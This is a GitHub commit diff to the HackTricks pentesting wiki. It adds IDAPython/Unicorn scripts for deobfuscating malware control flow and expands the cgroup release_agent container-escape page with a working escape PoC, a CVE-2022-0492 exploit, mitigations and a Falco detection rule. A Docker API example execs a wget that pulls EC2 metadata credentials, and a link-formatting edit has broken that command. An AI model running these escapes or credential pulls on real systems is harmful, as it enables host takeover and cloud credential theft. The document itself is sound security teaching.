Skip to content

Commit 4920915

Browse files
authored
Merge branch 'master' into update_Hijacker_on_the_Samsung_Galaxy_S10_with_wireless_i_20250711_123906
2 parents 1ca23e1 + 10bf791 commit 4920915

File tree

12 files changed

+357
-70
lines changed

12 files changed

+357
-70
lines changed

searchindex.js

Lines changed: 1 addition & 1 deletion
Large diffs are not rendered by default.

src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md

Lines changed: 92 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -169,7 +169,98 @@ If the files of a folder **shouldn't have been modified**, you can calculate the
169169

170170
When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**.
171171

172-
{{#include ../../banners/hacktricks-training.md}}
172+
---
173+
174+
## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)
175+
176+
Modern malware families heavily abuse Control-Flow Graph (CFG) obfuscation: instead of a direct jump/call they compute the destination at run-time and execute a `jmp rax` or `call rax`. A small *dispatcher* (typically nine instructions) sets the final target depending on the CPU `ZF`/`CF` flags, completely breaking static CFG recovery.
177+
178+
The technique – showcased by the SLOW#TEMPEST loader – can be defeated with a three-step workflow that only relies on IDAPython and the Unicorn CPU emulator.
179+
180+
### 1. Locate every indirect jump / call
181+
182+
```python
183+
import idautils, idc
184+
185+
for ea in idautils.FunctionItems(idc.here()):
186+
mnem = idc.print_insn_mnem(ea)
187+
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
188+
print(f"[+] Dispatcher found @ {ea:X}")
189+
```
190+
191+
### 2. Extract the dispatcher byte-code
192+
193+
```python
194+
import idc
195+
196+
def get_dispatcher_start(jmp_ea, count=9):
197+
s = jmp_ea
198+
for _ in range(count):
199+
s = idc.prev_head(s, 0)
200+
return s
201+
202+
start = get_dispatcher_start(jmp_ea)
203+
size = jmp_ea + idc.get_item_size(jmp_ea) - start
204+
code = idc.get_bytes(start, size)
205+
open(f"{start:X}.bin", "wb").write(code)
206+
```
207+
208+
### 3. Emulate it twice with Unicorn
209+
210+
```python
211+
from unicorn import *
212+
from unicorn.x86_const import *
213+
import struct
214+
215+
def run(code, zf=0, cf=0):
216+
BASE = 0x1000
217+
mu = Uc(UC_ARCH_X86, UC_MODE_64)
218+
mu.mem_map(BASE, 0x1000)
219+
mu.mem_write(BASE, code)
220+
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
221+
mu.reg_write(UC_X86_REG_RAX, 0)
222+
mu.emu_start(BASE, BASE+len(code))
223+
return mu.reg_read(UC_X86_REG_RAX)
224+
```
225+
226+
Run `run(code,0,0)` and `run(code,1,1)` to obtain the *false* and *true* branch targets.
227+
228+
### 4. Patch back a direct jump / call
229+
230+
```python
231+
import struct, ida_bytes
232+
233+
def patch_direct(ea, target, is_call=False):
234+
op = 0xE8 if is_call else 0xE9 # CALL rel32 or JMP rel32
235+
disp = target - (ea + 5) & 0xFFFFFFFF
236+
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))
237+
```
238+
239+
After patching, force IDA to re-analyse the function so the full CFG and Hex-Rays output are restored:
240+
241+
```python
242+
import ida_auto, idaapi
243+
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))
244+
```
245+
246+
### 5. Label indirect API calls
247+
248+
Once the real destination of every `call rax` is known you can tell IDA what it is so parameter types & variable names are recovered automatically:
249+
250+
```python
251+
idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
252+
```
253+
254+
### Practical benefits
255+
256+
* Restores the real CFG → decompilation goes from *10* lines to thousands.
257+
* Enables string-cross-reference & xrefs, making behaviour reconstruction trivial.
258+
* Scripts are reusable: drop them into any loader protected by the same trick.
259+
260+
---
173261

262+
## References
174263

264+
- [Unit42 – Evolving Tactics of SLOW#TEMPEST: A Deep Dive Into Advanced Malware Techniques](https://unit42.paloaltonetworks.com/slow-tempest-malware-obfuscation/)
175265

266+
{{#include ../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -57,7 +57,7 @@ This approach avoids direct file downloads and leverages familiar UI elements to
5757

5858
## References
5959

60-
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
61-
- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
60+
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
61+
- Discord Custom Invite Link Documentation – [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
6262

6363
{{#include ../../banners/hacktricks-training.md}}

src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md

Lines changed: 97 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,9 @@
44

55
**For further details, refer to the** [**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary:
66

7-
Original PoC:
7+
---
8+
9+
## Classic PoC (2019)
810

911
```shell
1012
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
@@ -14,51 +16,112 @@ touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
1416
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
1517
```
1618

17-
The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:
19+
The PoC abuses the **cgroup-v1** `release_agent` feature: when the last task of a cgroup that has `notify_on_release=1` exits, the kernel (in the **initial namespaces on the host**) executes the program whose pathname is stored in the writable file `release_agent`. Because that execution happens with **full root privileges on the host**, gaining write access to the file is enough for a container escape.
1820

19-
1. **Prepare the Environment:**
20-
- A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup.
21-
- The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative.
21+
### Short, readable walk-through
2222

23-
```shell
24-
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
25-
```
23+
1. **Prepare a new cgroup**
2624

27-
2. **Set Up the Child Cgroup:**
28-
- A child cgroup named "x" is created within the mounted cgroup directory.
29-
- Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file.
25+
```shell
26+
mkdir /tmp/cgrp
27+
mount -t cgroup -o rdma cgroup /tmp/cgrp # or –o memory
28+
mkdir /tmp/cgrp/x
29+
echo 1 > /tmp/cgrp/x/notify_on_release
30+
```
3031

31-
```shell
32-
echo 1 > /tmp/cgrp/x/notify_on_release
33-
```
32+
2. **Point `release_agent` to attacker-controlled script on the host**
3433

35-
3. **Configure the Release Agent:**
36-
- The path of the container on the host is obtained from the /etc/mtab file.
37-
- The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path.
34+
```shell
35+
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
36+
echo "$host_path/cmd" > /tmp/cgrp/release_agent
37+
```
3838

39-
```shell
40-
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
41-
echo "$host_path/cmd" > /tmp/cgrp/release_agent
42-
```
39+
3. **Drop the payload**
4340

44-
4. **Create and Configure the /cmd Script:**
45-
- The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified.
41+
```shell
42+
cat <<'EOF' > /cmd
43+
#!/bin/sh
44+
ps aux > "$host_path/output"
45+
EOF
46+
chmod +x /cmd
47+
```
4648

47-
```shell
48-
echo '#!/bin/sh' > /cmd
49-
echo "ps aux > $host_path/output" >> /cmd
50-
chmod a+x /cmd
51-
```
49+
4. **Trigger the notifier**
5250

53-
5. **Trigger the Attack:**
54-
- A process is initiated within the "x" child cgroup and is immediately terminated.
55-
- This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container.
51+
```shell
52+
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # add ourselves and immediately exit
53+
cat /output # now contains host processes
54+
```
5655

57-
```shell
58-
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
56+
---
57+
58+
## 2022 kernel vulnerability – CVE-2022-0492
59+
60+
In February 2022 Yiqi Sun and Kevin Wang discovered that **the kernel did *not* verify capabilities when a process wrote to `release_agent` in cgroup-v1** (function `cgroup_release_agent_write`).
61+
62+
Effectively **any process that could mount a cgroup hierarchy (e.g. via `unshare -UrC`) could write an arbitrary path to `release_agent` without `CAP_SYS_ADMIN` in the *initial* user namespace**. On a default-configured, root-running Docker/Kubernetes container this allowed:
63+
64+
* privilege escalation to root on the host; ↗
65+
* container escape without the container being privileged.
66+
67+
The flaw was assigned **CVE-2022-0492** (CVSS 7.8 / High) and fixed in the following kernel releases (and all later):
68+
69+
* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
70+
71+
Patch commit: `1e85af15da28 "cgroup: Fix permission checking"`.
72+
73+
### Minimal exploit inside a container
74+
75+
```bash
76+
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
77+
apk add --no-cache util-linux # provides unshare
78+
unshare -UrCm sh -c '
79+
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
80+
echo 1 > /tmp/c/notify_on_release;
81+
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
82+
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
83+
while true; do sleep 1; done
84+
'
85+
```
86+
If the kernel is vulnerable the busybox binary from the *host* executes with full root.
87+
88+
### Hardening & Mitigations
89+
90+
* **Update the kernel** (≥ versions above). The patch now requires `CAP_SYS_ADMIN` in the *initial* user namespace to write to `release_agent`.
91+
* **Prefer cgroup-v2** – the unified hierarchy **removed the `release_agent` feature completely**, eliminating this class of escapes.
92+
* **Disable unprivileged user namespaces** on hosts that do not need them:
93+
```shell
94+
sysctl -w kernel.unprivileged_userns_clone=0
95+
```
96+
* **Mandatory access control**: AppArmor/SELinux policies that deny `mount`, `openat` on `/sys/fs/cgroup/**/release_agent`, or drop `CAP_SYS_ADMIN`, stop the technique even on vulnerable kernels.
97+
* **Read-only bind-mask** all `release_agent` files (Palo Alto script example):
98+
```shell
99+
for f in $(find /sys/fs/cgroup -name release_agent); do
100+
mount --bind -o ro /dev/null "$f"
101+
done
102+
```
103+
104+
## Detection at runtime
105+
106+
[`Falco`](https://falco.org/) ships a built-in rule since v0.32:
107+
108+
```yaml
109+
- rule: Detect release_agent File Container Escapes
110+
desc: Detect an attempt to exploit a container escape using release_agent
111+
condition: open_write and container and fd.name endswith release_agent and
112+
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
113+
thread.cap_effective contains CAP_SYS_ADMIN
114+
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
115+
priority: CRITICAL
116+
tags: [container, privilege_escalation]
59117
```
60118
61-
{{#include ../../../../banners/hacktricks-training.md}}
119+
The rule triggers on any write attempt to `*/release_agent` from a process inside a container that still wields `CAP_SYS_ADMIN`.
120+
62121

122+
## References
63123

124+
* [Unit 42 – CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) – detailed analysis and mitigation script.
125+
* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
64126

127+
{{#include ../../../../banners/hacktricks-training.md}}

src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -108,7 +108,6 @@ Recent Frida releases (>=16) automatically handle pointer authentication and oth
108108

109109
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) can instrument a dev-signed IPA on a real device using the same technique (`get_task_allow`) and provides a web UI with filesystem browser, traffic capture and Frida console【†L2-L3】. The quickest way is to run MobSF in Docker and then plug your iPhone via USB:
110110

111-
112111
```bash
113112
docker pull opensecurity/mobile-security-framework-mobsf:latest
114113
docker run -p 8000:8000 --privileged \

src/network-services-pentesting/1099-pentesting-java-rmi.md

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -86,7 +86,7 @@ $ rmg enum 172.17.0.2 9010
8686
[+]
8787
[+] RMI server codebase enumeration:
8888
[+]
89-
[+] - http://iinsecure.dev/well-hidden-development-folder/
89+
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
9090
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
9191
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
9292
[+]
@@ -254,8 +254,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
254254
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
255255
[+]
256256
[+] References:
257-
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
258-
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
257+
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
258+
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
259259
[+]
260260
[+] Vulnerabilities:
261261
[+]
@@ -269,7 +269,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
269269
[+] is therefore most of the time equivalent to remote code execution.
270270
[+]
271271
[+] References:
272-
[+] - https://github.com/qtc-de/beanshooter
272+
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
273273
[+]
274274
[+] -----------------------------------
275275
[+] Name:
@@ -282,7 +282,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
282282
[+] establish a working JMX connection, you can also perform deserialization attacks.
283283
[+]
284284
[+] References:
285-
[+] - https://github.com/qtc-de/beanshooter
285+
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
286286
```
287287

288288
## Shodan
@@ -316,4 +316,3 @@ Entry_1:
316316
{{#include ../banners/hacktricks-training.md}}
317317

318318

319-

src/network-services-pentesting/2375-pentesting-docker.md

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -163,7 +163,7 @@ curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
163163
#List processes inside a container
164164
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
165165
#Set up and exec job to hit the metadata URL
166-
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
166+
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
167167
#Get the output
168168
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
169169
# list secrets (no secrets/swarm not set up)
@@ -337,4 +337,3 @@ You can use auditd to monitor docker.
337337
{{#include ../banners/hacktricks-training.md}}
338338
339339
340-

src/network-services-pentesting/pentesting-web/joomla.md

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -65,7 +65,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
6565
1- What is this?
6666
* This is a Joomla! installation/upgrade package to version 3.x
6767
* Joomla! Official site: https://www.joomla.org
68-
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
68+
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
6969
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
7070
```
7171

@@ -124,4 +124,3 @@ If you managed to get **admin credentials** you can **RCE inside of it** by addi
124124
{{#include ../../banners/hacktricks-training.md}}
125125

126126

127-

src/network-services-pentesting/pentesting-web/moodle.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -21,8 +21,8 @@ droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
2121
3.10.0-beta
2222

2323
[+] Possible interesting urls found:
24-
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
25-
Admin panel - http://moodle.schooled.htb/moodle/login/
24+
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
25+
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
2626

2727
[+] Scan finished (0:00:05.643539 elapsed)
2828
```

0 commit comments

Comments
 (0)